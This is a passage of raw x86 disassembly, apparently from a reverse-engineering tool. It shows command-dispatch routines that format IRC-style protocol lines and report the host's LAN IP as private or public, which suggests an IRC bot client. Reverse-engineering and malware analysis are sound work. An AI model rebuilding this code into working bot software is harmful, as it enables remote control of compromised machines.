[esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E55 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C7C ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C70 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493FD mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C7C ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C70 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C6C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi add esp, 8 test eax, eax jz loc_411223 push offset asc_444C6C ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F40 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F40 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E55 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E55 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449110 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C7C ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C70 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C7C ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C70 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C70 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490D0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490D4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_449100 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_449104 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_44AC6E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call near ptr word_5F67AE nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F40 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412940 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi 